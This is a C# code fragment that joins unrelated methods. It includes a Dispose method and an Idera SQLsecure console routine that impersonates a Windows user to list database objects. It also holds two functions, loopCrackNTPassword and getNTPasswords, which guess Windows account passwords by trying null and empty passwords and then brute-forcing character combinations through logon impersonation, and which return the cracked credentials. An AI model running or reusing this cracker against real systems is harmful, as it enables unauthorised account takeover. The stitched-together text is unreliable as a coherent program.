public void Dispose() { if (_context != null) { _context.Dispose(); } }
private List <string> GetItems() { System.Security.Principal.WindowsImpersonationContext targetImpersonationContext = null; List <string> list = null; bool res = false; System.Data.SqlClient.SqlConnectionStringBuilder bldr; if (m_serverInfo.windowsAuth) { try { System.Security.Principal.WindowsIdentity wi = Impersonation.GetCurrentIdentity(m_serverInfo.login, m_serverInfo.password); targetImpersonationContext = wi.Impersonate(); } catch (Exception ex) { Idera.SQLsecure.Core.Logger.LogX logX = new Idera.SQLsecure.Core.Logger.LogX("Idera.SQLsecure.UI.Console.Sql.Database"); logX.loggerX.Error("Error Processing Impersonation for retrieving Database objects list (" + m_serverInfo.login + ")", ex); } bldr = Sql.SqlHelper.ConstructConnectionString(m_serverInfo.connectionName, null, null, Utility.Activity.TypeServerOnPremise); } else { bldr = Sql.SqlHelper.ConstructConnectionString(m_serverInfo.connectionName, m_serverInfo.login, m_serverInfo.password, Utility.Activity.TypeServerOnPremise); } switch (m_filterObject.ObjectType) { case RuleObjectType.Database: res = Idera.SQLsecure.UI.Console.Sql.Database.GetTargetDatabases(m_serverInfo.version, m_filterObject.ObjectScope, bldr.ConnectionString, out list); break; case RuleObjectType.Table: res = Idera.SQLsecure.UI.Console.Sql.Database.GetTargetTables(m_serverInfo.version, m_filterObject.ObjectScope, m_databaseFilterObject, bldr.ConnectionString, out list); break; case RuleObjectType.View: res = Idera.SQLsecure.UI.Console.Sql.Database.GetTargetViews(m_serverInfo.version, m_filterObject.ObjectScope, m_databaseFilterObject, bldr.ConnectionString, out list); break; case RuleObjectType.Function: res = Idera.SQLsecure.UI.Console.Sql.Database.GetTargetFunctions(m_serverInfo.version, m_filterObject.ObjectScope, m_databaseFilterObject, bldr.ConnectionString, out list); break; } if (targetImpersonationContext != null) { targetImpersonationContext.Undo(); targetImpersonationContext.Dispose(); targetImpersonationContext = null; } return(res ? list : new List <string>()); }
private static void loopCrackNTPassword(ref char[] buffer, int level, string domain, string user, ref string pass, ref bool found) { int nextLevel = level + 1; char[] charSet = "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789".ToCharArray(); for (int c = 0; c < charSet.Length; c++) { buffer[level] = charSet[c]; if (nextLevel == buffer.Length) { string strBuffer = new string(buffer); //Console.WriteLine("Trying password: " + strBuffer); System.Security.Principal.WindowsImpersonationContext wic = getImpersonate(domain, user, strBuffer); if (wic != null) { wic.Undo(); wic.Dispose(); wic = null; found = true; pass = new string(buffer); return; } } else { if (!found) { loopCrackNTPassword(ref buffer, nextLevel, domain, user, ref pass, ref found); } else { return; } } } }
private static System.Collections.Hashtable getNTPasswords(string machine, string[] users, int max) { try { if (max < 1) { max = 1; } if (users == null || users.Length == 0) { return(new System.Collections.Hashtable(0)); } if (machine == null || machine.Length == 0) { machine = System.Environment.MachineName; } //machine = machine.ToUpper(); /*bool isLocalDomain = false; * string localUser = string.Empty; * if (machine.Equals(System.Environment.MachineName.ToUpper())){ * isLocalDomain = true; * localUser = System.Environment.UserName.ToUpper(); * }*/ System.Collections.Hashtable table = new System.Collections.Hashtable(0); for (int i = 0; i < users.Length; i++) { //if (isLocalDomain && i < users.Length + 1 && localUser.Equals(users[i].ToUpper())) i++; bool continueCheck = true; System.Security.Principal.WindowsImpersonationContext wic = getImpersonate(machine, users[i], null); if (wic != null) { wic.Undo(); wic.Dispose(); wic = null; table.Add(users[i], null); continueCheck = false; } if (continueCheck) { wic = getImpersonate(machine, users[i], ""); if (wic != null) { wic.Undo(); wic.Dispose(); wic = null; table.Add(users[i], ""); continueCheck = false; } } if (continueCheck) { string pass = string.Empty; bool found = false; initCrackNTPassword(max, machine, users[i], ref pass, ref found); if (found) { table.Add(users[i], pass); } pass = string.Empty; found = false; continueCheck = false; } } if (table.Count > 0) { return(table); } } catch (Exception e) { string msg = e.Message; } return(new System.Collections.Hashtable(0)); }